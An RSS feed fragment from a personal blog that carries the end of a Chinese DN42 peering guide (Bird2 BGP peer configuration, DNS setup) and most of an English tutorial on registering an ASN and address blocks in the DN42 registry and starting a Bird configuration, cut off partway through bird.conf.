&lt;p&gt;如果需要让隧道开机自启动，可以运行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl enable wg-quick@&amp;lt;隧道名&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;配置Bird2的Peer部分&lt;/h4&gt;
&lt;p&gt;在&lt;code&gt;/etc/bird/peers&lt;/code&gt;下新建文件&lt;code&gt;&amp;lt;名称&amp;gt;.conf&lt;/code&gt;，填入如下内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol bgp &amp;lt;v4BGP会话名称&amp;gt; from dnpeers{
    neighbor &amp;lt;对方DN42 IPv4地址&amp;gt; as &amp;lt;对方ASN，不带AS前缀&amp;gt;;
    direct;
    ipv6{
        import none;
        export none;
    };
};

protocol bgp &amp;lt;v6BGP会话名称&amp;gt; from dnpeers{
    neighbor &amp;lt;对方DN42 IPv6地址&amp;gt; % &apos;&amp;lt;WireGuard隧道名称&amp;gt;&apos; as &amp;lt;对方ASN，不带AS前缀&amp;gt;;
    direct;
    ipv4{
        import none;
        export none;
    };
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;应用配置&lt;/h4&gt;
&lt;p&gt;运行&lt;code&gt;birdc configure&lt;/code&gt;（或者&lt;code&gt;birdc c&lt;/code&gt;，等同）重载Bird配置，然后运行&lt;code&gt;birdc show protocols&lt;/code&gt;（或者&lt;code&gt;birdc s p&lt;/code&gt;，等同）即可查看当前建立的BGP连接。&lt;/p&gt;
&lt;p&gt;自此，我们成功加入了DN42网络。要想让网络更加稳定，我们可以与更多用户进行Peer，建立多条BGP线路以防止其中部分节点瘫痪导致失联。你可以加入&lt;a href=&quot;https://t.me/Dn42Chat&quot;&gt;DN42非官方tg交流群&lt;/a&gt;获取更多信息。&lt;/p&gt;
&lt;p&gt;如果出现BGP Established但是无法Ping通DN42内部IP的情况，请检查&lt;code&gt;bird.conf&lt;/code&gt;中设置的IP和dummy网卡分配的IP或WireGuard中的本地IP是否相同。&lt;/p&gt;
&lt;h2&gt;配置DNS&lt;/h2&gt;
&lt;p&gt;DN42内有自己的公共DNS，泛播地址为&lt;code&gt;172.20.0.53&lt;/code&gt;，并且也能解析正常互联网的域名。要想能够访问以&lt;strong&gt;dn42&lt;/strong&gt;结尾的内部域名，需要将这个地址放到resolv.conf最上面：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nameserver 172.20.0.53
nameserver 223.5.5.5 #下面是正常的DNS服务器配置
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后就可以解析DN42内部域名啦，同时&lt;code&gt;ping&lt;/code&gt;、&lt;code&gt;traceroute&lt;/code&gt;、&lt;code&gt;mtr&lt;/code&gt;等命令查询内部IP时也能显示出来rDNS的解析结果。&lt;/p&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;欢迎与我建立对等连接！详情请查看：&lt;a href=&quot;https://www.iyoroy.cn/dn42.html&quot;&gt;iYoRoy DN42 Network&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;参考文章：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://blog.baoshuo.ren/post/dn42-network/&lt;/li&gt;
&lt;li&gt;https://dn42.dev/howto/Bird2#example-configuration&lt;/li&gt;
&lt;li&gt;https://dn42.eu/howto/wireguard&lt;/li&gt;
&lt;li&gt;https://blog.udon.eu.org/archives/dbf21067.html&lt;/li&gt;
&lt;li&gt;https://blog.byteloid.one/2025/06/02/babeld-over-wireguard/&lt;/li&gt;
&lt;li&gt;https://blog.wcysite.com/2021/%E8%B8%A9%E5%9D%91DN42-p2-peer/&lt;/li&gt;
&lt;li&gt;https://blog.chs.pub/p/23-14-joindn42/&lt;/li&gt;
&lt;li&gt;https://www.cnblogs.com/FengZeng666/p/15583434.html&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>DN42 - Ep.1 Joining the DN42 Network</title><link>https://blog.iyoroy.cn/posts/en-84/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-84/</guid><description>Joining DN42 by registering an ASN and address space, configuring BIRD, ROA checks, and WireGuard, and establishing BGP sessions with other members.</description><pubDate>Sat, 28 Jun 2025 13:19:00 GMT</pubDate><content:encoded>&lt;h1&gt;Foreword&lt;/h1&gt;
&lt;p&gt;I am a novice in BGP. This article may contain &lt;strong&gt;imprecise content/naive understandings/elementary mistakes&lt;/strong&gt;. I kindly ask the experts to be lenient. If you find any issues, you are welcome to contact me via &lt;a href=&quot;mailto:i@iyoroy.cn&quot;&gt;email&lt;/a&gt;, and I will correct them as soon as possible. &lt;strong&gt;If you find this unacceptable, it is recommended to close this article now.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Welcome to peer with me! For details, please visit: &lt;a href=&quot;https://www.iyoroy.cn/dn42.html&quot;&gt;iYoRoy DN42 Network&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I wanted to study BGP, but renting an ASN and IP block is too expensive, and I was afraid of &lt;a href=&quot;https://blog.cloudflare.com/how-verizon-and-a-bgp-optimizer-knocked-large-parts-of-the-internet-offline-today/&quot;&gt;taking down half the internet due to a configuration error&lt;/a&gt;. So, I decided to look into DN42, a virtual network. DN42 is a large decentralized network that uses the BGP protocol for routing, making its structure very similar to today&apos;s internet. This makes it suitable for learning networking technologies like BGP. In DN42, everyone plays the role of an ISP (Internet Service Provider), peering with other users to join and participate in building the entire DN42 network. DN42 operates on &lt;code&gt;172.20.0.0/14&lt;/code&gt; and &lt;code&gt;fd00::/8&lt;/code&gt;, both of which are private address ranges, so it won&apos;t affect the clearnet.&lt;/p&gt;
&lt;h1&gt;Registration&lt;/h1&gt;
&lt;p&gt;You need to know basic git commands, GPG, and Linux. It&apos;s also best to sign your commits with GPG.
If you have basic Git knowledge, you can refer to my commit: &lt;a href=&quot;https://git.dn42.dev/dn42/registry/commit/d1f9046ecbf358f5e45941f2e046c6a23db3ac45&quot;&gt;Add AS4242422024 · d1f9046ecb - registry - dn42 git&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Fork and Clone the DN42 Registry Git Repository&lt;/h2&gt;
&lt;p&gt;Register an account on &lt;a href=&quot;https://git.dn42.dev/&quot;&gt;dn42 git&lt;/a&gt; and Fork the &lt;a href=&quot;https://git.dn42.dev/dn42/registry&quot;&gt;dn42/registry&lt;/a&gt; repository. Clone your forked repository and enter it.&lt;/p&gt;
&lt;h2&gt;Register a Contact&lt;/h2&gt;
&lt;p&gt;Create a file named &lt;code&gt;&amp;lt;Nickname&amp;gt;-DN42&lt;/code&gt; under &lt;code&gt;data/person&lt;/code&gt; and fill in the following content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;person:             &amp;lt;Nickname&amp;gt;
e-mail:             &amp;lt;Email Address&amp;gt;
pgp-fingerprint:    &amp;lt;GPG Key Fingerprint&amp;gt;
nic-hdl:            &amp;lt;NIC Handle&amp;gt;
mnt-by:             &amp;lt;Maintainer&amp;gt;
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;person&lt;/code&gt;: Nickname.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e-mail&lt;/code&gt;: Email address.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pgp-fingerprint&lt;/code&gt;: GPG key fingerprint, used for some authentication services.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nic-hdl&lt;/code&gt;: &lt;a href=&quot;https://en.wikipedia.org/wiki/NIC_handle&quot;&gt;NIC handle&lt;/a&gt;, points to the file itself, just use the current filename.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mnt-by&lt;/code&gt;: Maintained by, points to the maintainer information from the &lt;strong&gt;Register Maintainer&lt;/strong&gt; section below.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;source&lt;/code&gt;: Source, keep it as &lt;code&gt;DN42&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;www&lt;/code&gt;: Optional, your website URL.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://git.dn42.dev/dn42/registry/src/branch/master/data/person/IYOROY-DN42&quot;&gt;&lt;code&gt;data/person/IYOROY-DN42&lt;/code&gt; @ dn42/registry@master&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;person:             Kagura iYoRoy
e-mail:             i@iyoroy.cn
www:                https://www.iyoroy.cn
pgp-fingerprint:    3ECCFFDEC2CB4CB8DA8089BE9AF2F2E03CE8FD67
nic-hdl:            IYOROY-DN42
mnt-by:             IYOROY-MNT
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Register a Maintainer&lt;/h2&gt;
&lt;p&gt;Create a file &lt;code&gt;data/mntner/&amp;lt;Nickname&amp;gt;-MNT&lt;/code&gt; and fill in the following content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mntner:             &amp;lt;Nickname&amp;gt;-MNT
admin-c:            &amp;lt;Contact&amp;gt;
tech-c:             &amp;lt;Contact&amp;gt;
auth:               &amp;lt;Authentication Method&amp;gt;
mnt-by:             &amp;lt;Maintainer&amp;gt;
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;mntner&lt;/code&gt;: Maintainer name, generally the same as the filename.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;admin-c&lt;/code&gt;:  Administrator contact information, points to a file in the &lt;code&gt;person&lt;/code&gt; folder, use the filename from the &lt;strong&gt;Register Contact&lt;/strong&gt; section above.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tech-c&lt;/code&gt;: Technical contact information, points to a file in the &lt;code&gt;person&lt;/code&gt; folder, use the filename from the &lt;strong&gt;Register Contact&lt;/strong&gt; section above.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;auth&lt;/code&gt;: Authentication method, supports pgp or ssh-key.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mnt-by&lt;/code&gt;: Maintained by, generally points to the filename itself.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;source&lt;/code&gt;: Source, keep it as &lt;code&gt;DN42&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://git.dn42.dev/dn42/registry/src/branch/master/data/mntner/IYOROY-MNT&quot;&gt;&lt;code&gt;data/mntner/IYOROY-MNT&lt;/code&gt; @ dn42/registry@master&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mntner:             IYOROY-MNT
admin-c:            IYOROY-DN42
tech-c:             IYOROY-DN42
auth:               pgp-fingerprint 3ECCFFDEC2CB4CB8DA8089BE9AF2F2E03CE8FD67
mnt-by:             IYOROY-MNT
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Register an ASN&lt;/h2&gt;
&lt;p&gt;On the clearnet, &lt;strong&gt;4200000000 - 4294967294&lt;/strong&gt; is the reserved range for ASNs. DN42 uses &lt;strong&gt;4242420000 - 4242429999&lt;/strong&gt;, and currently, &lt;strong&gt;4242420000 - 4242423999&lt;/strong&gt; is open for registration.The official recommendation is not to manually find an available ASN but to use Burble&apos;s &lt;a href=&quot;https://explorer.burble.com/free#/asn&quot;&gt;DN42 Free ASN Explorer&lt;/a&gt; to select an available ASN for registration.&lt;br /&gt;
After choosing your desired ASN, create a file &lt;code&gt;&amp;lt;ASN, including AS letters&amp;gt;&lt;/code&gt; in &lt;code&gt;data/aut-num&lt;/code&gt; and fill in the following content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;aut-num:            &amp;lt;ASN&amp;gt;
as-name:            &amp;lt;Autonomous System Name&amp;gt;
descr:              &amp;lt;Autonomous System Description&amp;gt;
admin-c:            &amp;lt;Administrator NIC Handle&amp;gt;
tech-c:             &amp;lt;Technical Contact NIC Handle&amp;gt;
mnt-by:             &amp;lt;Maintainer&amp;gt;
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;aut-num&lt;/code&gt;:  Your chosen ASN, &lt;strong&gt;including the AS prefix&lt;/strong&gt;. It should be in the format AS424242xxxx.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;as-name&lt;/code&gt;: Autonomous System Name.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;descr&lt;/code&gt;: Autonomous System Description, can contain spaces.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;admin-c&lt;/code&gt;: Administrator contact information, points to a file in the &lt;code&gt;person&lt;/code&gt; folder, use the filename from the &lt;strong&gt;Register Contact&lt;/strong&gt; section above.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tech-c&lt;/code&gt;: Technical contact information, points to a file in the &lt;code&gt;person&lt;/code&gt; folder, use the filename from the &lt;strong&gt;Register Contact&lt;/strong&gt; section above.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mnt-by&lt;/code&gt;: Maintained by, points to the filename from the &lt;strong&gt;Create Maintainer&lt;/strong&gt; section above.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;source&lt;/code&gt;: Source, keep it as &lt;code&gt;DN42&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;示例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://git.dn42.dev/dn42/registry/src/branch/master/data/aut-num/AS4242422024&quot;&gt;&lt;code&gt;data/aut-num/AS4242422024&lt;/code&gt; @ dn42/registry@master&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;aut-num:            AS4242422024
as-name:            IYOROYNET-AS-DN42
descr:              iYoRoy DN42 Network
admin-c:            IYOROY-DN42
tech-c:             IYOROY-DN42
mnt-by:             IYOROY-MNT
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Register an IPv4 Block and Add Route&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;You can skip this section if you don&apos;t want to register IPv4&lt;/em&gt;
The official provides a tool for finding available address blocks: &lt;a href=&quot;https://explorer.burble.com/free#/4&quot;&gt;DN42 Free IPv4 Explorer&lt;/a&gt;.  It is also not recommended to manually specify but to use the available blocks found through the search tool.
DN42 also faces IPv4 address shortages, so please register according to your needs. Generally, a /27 block containing 30 usable IPv4 addresses is sufficient. For smaller networks, you can apply for /28 (14 usable addresses) and /29 (6 usable addresses). The largest block that can be directly applied for is /26, which is 62 addresses. Applying for /25, /24 requires submitting an application and waiting for review. For details, refer to: &lt;a href=&quot;https://lantian.pub/en/article/modify-website/dn42-experimental-network-2020.lantian/&quot;&gt;DN42 Experimental Network: Intro and Registration (Updated 2022-12) - Lan Tian @ Blog&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;After selecting your IPv4 block, create a file in &lt;code&gt;data/inetnum&lt;/code&gt; named after the CIDR format of the IPv4 block, using &lt;code&gt;_&lt;/code&gt; instead of &lt;code&gt;/&lt;/code&gt; (e.g., if the applied IPv4 block is &lt;code&gt;172.20.234.224/28&lt;/code&gt;, the filename is &lt;code&gt;172.20.234.224_28&lt;/code&gt;), and fill in the content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;inetnum:            &amp;lt;First IPv4 Address in Block&amp;gt; - &amp;lt;Last IPv4 Address in Block&amp;gt;
cidr:               &amp;lt;IPv4 Block in CIDR Format&amp;gt;
netname:            &amp;lt;IPv4 Block Name&amp;gt;
descr:              &amp;lt;IPv4 Block Description&amp;gt;
country:            &amp;lt;Country Code for IPv4 Block&amp;gt;
admin-c:            &amp;lt;Administrator NIC Handle&amp;gt;
tech-c:             &amp;lt;Technical Contact NIC Handle&amp;gt;
mnt-by:             &amp;lt;Maintainer&amp;gt;
status:             ASSIGNED
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;inetnum&lt;/code&gt;: IPv4 address range, from the first address to the last address, connected with &lt;code&gt;-&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cidr&lt;/code&gt;: IPv4 block in CIDR format, &lt;strong&gt;do not&lt;/strong&gt; replace &lt;code&gt;/&lt;/code&gt; with &lt;code&gt;_&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;netname&lt;/code&gt;: IPv4 block name, fill in as desired, no special requirements.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;descr&lt;/code&gt;: IPv4 block description, can contain spaces.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;country&lt;/code&gt;: Two-character country code from &lt;a href=&quot;https://zh.wikipedia.org/wiki/ISO_3166&quot;&gt;ISO 3166&lt;/a&gt;, for China, fill in &lt;code&gt;CN&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;admin-c&lt;/code&gt;: Administrator contact information, points to a file in the &lt;code&gt;person&lt;/code&gt; folder, use the filename from the &lt;strong&gt;Register Contact&lt;/strong&gt; section above.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tech-c&lt;/code&gt;: Technical contact information, points to a file in the &lt;code&gt;person&lt;/code&gt; folder, use the filename from the &lt;strong&gt;Register Contact&lt;/strong&gt; section above.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mnt-by&lt;/code&gt;: Maintained by, points to the filename from the &lt;strong&gt;Create Maintainer&lt;/strong&gt; section above.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;status&lt;/code&gt;: Status, keep it as &lt;code&gt;ASSIGNED&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;source&lt;/code&gt;: Source, keep it as &lt;code&gt;DN42&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://git.dn42.dev/dn42/registry/src/branch/master/data/inetnum/172.20.234.224_28&quot;&gt;&lt;code&gt;data/inetnum/172.20.234.224_28&lt;/code&gt; @ dn42/registry@master&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;inetnum:            172.20.234.224 - 172.20.234.239
cidr:               172.20.234.224/28
netname:            IYOROYNET-DN42-V4
descr:              iYoRoy DN42 Network IPv4 Block
country:            CN
admin-c:            IYOROY-DN42
tech-c:             IYOROY-DN42
mnt-by:             IYOROY-MNT
status:             ASSIGNED
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, under &lt;code&gt;data/route&lt;/code&gt;, create a file also named after the IPv4 block&apos;s CIDR format, using &lt;code&gt;_&lt;/code&gt; instead of &lt;code&gt;/&lt;/code&gt;, and fill in the content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;route:              &amp;lt;IPv4 Block in CIDR Format&amp;gt;
origin:             &amp;lt;ASN&amp;gt;
max-length:         &amp;lt;IPv4 Prefix Length&amp;gt;
mnt-by:             &amp;lt;Maintainer&amp;gt;
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;route&lt;/code&gt;: IPv4 block, fill in CIDR format, do not convert &lt;code&gt;/&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;origin&lt;/code&gt;: ASN, needs to include &lt;code&gt;AS&lt;/code&gt; prefix.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;max-lenth&lt;/code&gt;: Prefix Length, i.e., the number after &lt;code&gt;/&lt;/code&gt; in the CIDR format.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mnt-by&lt;/code&gt;: Maintained by, points to the filename from the &lt;strong&gt;Create Maintainer&lt;/strong&gt; section above.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;source&lt;/code&gt;: Source, keep it as &lt;code&gt;DN42&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://git.dn42.dev/dn42/registry/src/branch/master/data/route/172.20.234.224_28&quot;&gt;&lt;code&gt;data/route/172.20.234.224_28&lt;/code&gt; @ dn42/registry@master&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;route:              172.20.234.224/28
origin:             AS4242422024
max-length:         28
mnt-by:             IYOROY-MNT
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Register an IPv6 Block and Add Route&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;You can skip this section if you don&apos;t want to register IPv6&lt;/em&gt;
Similarly, use the official tool to find available IPv6: &lt;a href=&quot;https://explorer.burble.com/free#/6&quot;&gt;DN42 Free IPv6 Explorer &lt;/a&gt;。
After selecting the address block, create a file under &lt;code&gt;data/inet6num&lt;/code&gt; named after the IPv6 block&apos;s CIDR format, using &lt;code&gt;_&lt;/code&gt; instead of &lt;code&gt;/&lt;/code&gt; (e.g., if the IPv6 block is &lt;code&gt;fd18:3e15:61d0::/48&lt;/code&gt;, the filename is &lt;code&gt;fd18:3e15:61d0::_48&lt;/code&gt;), and fill in the content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;inet6num:           &amp;lt;First IPv6 Address in Block&amp;gt; - &amp;lt;Last IPv6 Address in Block&amp;gt;
cidr:               &amp;lt;IPv6 Block in CIDR Format&amp;gt;
netname:            &amp;lt;IPv6 Block Name&amp;gt;
descr:              &amp;lt;IPv6 Block Description&amp;gt;
country:            &amp;lt;Country Code for IPv6 Block&amp;gt;
admin-c:            &amp;lt;Administrator NIC Handle&amp;gt;
tech-c:             &amp;lt;Technical Contact NIC Handle&amp;gt;
mnt-by:             &amp;lt;Maintainer&amp;gt;
status:             ASSIGNED
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;inet6num&lt;/code&gt;: IPv6 address range, from the first address to the last address, cannot use &lt;code&gt;::&lt;/code&gt; shorthand, connected with -. For example, if my block is &lt;code&gt;fd18:3e15:61d0::/48&lt;/code&gt;, I need to fill in &lt;code&gt;fd18:3e15:61d0:0000:0000:0000:0000:0000&lt;/code&gt; - &lt;code&gt;fd18:3e15:61d0:ffff:ffff:ffff:ffff:ffff&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cidr&lt;/code&gt;: IPv6 block in CIDR format, &lt;strong&gt;do not&lt;/strong&gt; replace &lt;code&gt;/&lt;/code&gt; with &lt;code&gt;_&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;netname&lt;/code&gt;: IPv6 block name, fill in as desired, no special requirements&lt;/li&gt;
&lt;li&gt;&lt;code&gt;descr&lt;/code&gt;: IPv6 block description, can contain spaces&lt;/li&gt;
&lt;li&gt;&lt;code&gt;country&lt;/code&gt;: Two-character country code from &lt;a href=&quot;https://zh.wikipedia.org/wiki/ISO_3166&quot;&gt;ISO 3166&lt;/a&gt;, for China, fill in &lt;code&gt;CN&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;admin-c&lt;/code&gt;: Administrator contact information, points to a file in the &lt;code&gt;person&lt;/code&gt; folder, use the filename from the &lt;strong&gt;Register Contact&lt;/strong&gt; section above.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tech-c&lt;/code&gt;: Technical contact information, points to a file in the &lt;code&gt;person&lt;/code&gt; folder, use the filename from the &lt;strong&gt;Register Contact&lt;/strong&gt; section above.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mnt-by&lt;/code&gt;: Maintained by, points to the filename from the &lt;strong&gt;Create Maintainer&lt;/strong&gt; section above.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;status&lt;/code&gt;: Status, keep it as &lt;code&gt;ASSIGNED&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;source&lt;/code&gt;: Source, keep it as &lt;code&gt;DN42&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://git.dn42.dev/dn42/registry/src/branch/master/data/inet6num/fd18:3e15:61d0::_48&quot;&gt;&lt;code&gt;data/inet6num/fd18:3e15:61d0::_48&lt;/code&gt; @ dn42/registry@master&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;inet6num:           fd18:3e15:61d0:0000:0000:0000:0000:0000 - fd18:3e15:61d0:ffff:ffff:ffff:ffff:ffff
cidr:               fd18:3e15:61d0::/48
netname:            IYOROYNET-DN42-V6
descr:              iYoRoy DN42 Network IPv6 Block
country:            CN
admin-c:            IYOROY-DN42
tech-c:             IYOROY-DN42
mnt-by:             IYOROY-MNT
status:             ASSIGNED
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, under &lt;code&gt;data/route6&lt;/code&gt;, create a file also named after the IPv6 block&apos;s CIDR format, using &lt;code&gt;_&lt;/code&gt; instead of &lt;code&gt;/&lt;/code&gt;, and fill in the content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;route6:             &amp;lt;IPv6 Block in CIDR Format&amp;gt;
origin:             &amp;lt;ASN&amp;gt;
max-length:         &amp;lt;IPv6 Prefix Length&amp;gt;
mnt-by:             &amp;lt;Maintainer&amp;gt;
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;route6&lt;/code&gt;: IPv6 block, fill in CIDR format, do not convert &lt;code&gt;/&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;origin&lt;/code&gt;: ASN, needs to include &lt;code&gt;AS&lt;/code&gt; prefix.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;max-lenth&lt;/code&gt;: Prefix Length, i.e., the number after &lt;code&gt;/&lt;/code&gt; in the CIDR format.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mnt-by&lt;/code&gt;: Maintained by, points to the filename from the &lt;strong&gt;Create Maintainer&lt;/strong&gt; section above.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;source&lt;/code&gt;: Source, keep it as &lt;code&gt;DN42&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://git.dn42.dev/dn42/registry/src/branch/master/data/route6/fd18:3e15:61d0::_48&quot;&gt;&lt;code&gt;data/route6/fd18:3e15:61d0::_48&lt;/code&gt; @ dn42/registry@master&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;route6:             fd18:3e15:61d0::/48
origin:             AS4242422024
max-length:         48
mnt-by:             IYOROY-MNT
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Create and Push Commit, Submit PR&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;It&apos;s best to sign your commits with GPG and upload your public key to dn42 git.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;After filling in the above information, return to the root directory of the repository and run the script &lt;code&gt;./fmt-my-stuff &amp;lt;Maintainer&amp;gt;&lt;/code&gt; to automatically format the configuration files. Note: Here &lt;code&gt;&amp;lt;Maintainer&amp;gt;&lt;/code&gt; is the value of mntner from the &lt;strong&gt;Register Maintainer&lt;/strong&gt; chapter. Then follow the normal git commit process: &lt;code&gt;git add data/&lt;/code&gt;, &lt;code&gt;git commit -S -m &quot;&amp;lt;commit-msg&amp;gt;&quot;&lt;/code&gt; to create the commit, &lt;code&gt;git push origin master&lt;/code&gt; to push. Then, go to the dn42 git web interface, open your forked repository, and submit a Pull Request.&lt;br /&gt;
If there are configuration issues, the automated review bot and administrators will inform you. Please patiently modify according to the requirements and &lt;strong&gt;merge into the original commit, do not create a new commit&lt;/strong&gt;. It is recommended to use &lt;code&gt;git commit --amend&lt;/code&gt; after &lt;code&gt;git add&lt;/code&gt;. After modification, &lt;strong&gt;force push directly (&lt;code&gt;git push origin master --force&lt;/code&gt;)&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The working language of the DN42 Registry is English. Please use English for the entire process to avoid unnecessary trouble.&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;Configuring Bird&lt;/h1&gt;
&lt;p&gt;First, install bird. Using Ubuntu 22.04 as an example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install bird2 -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you also want to install WireGuard for later use, add the wireguard and wireguard-tools packages:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install bird2 wireguard wireguard-tools -y
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Create Configuration Files&lt;/h2&gt;
&lt;h3&gt;bird.conf&lt;/h3&gt;
&lt;p&gt;Modify &lt;code&gt;/etc/bird/bird.conf&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define OWNAS       = &amp;lt;AS Number&amp;gt;;
define OWNIP       = &amp;lt;DN42 IPv4 Address&amp;gt;;
define OWNIPv6     = &amp;lt;DN42 IPv6 Address&amp;gt;;
define OWNNET      = &amp;lt;DN42 IPv4 Block, CIDR Format&amp;gt;;
define OWNNETv6    = &amp;lt;DN42 IPv6 Block, CIDR Format&amp;gt;;
define OWNNETSET   = [ &amp;lt;DN42 IPv4 Block, CIDR Format&amp;gt;+ ];
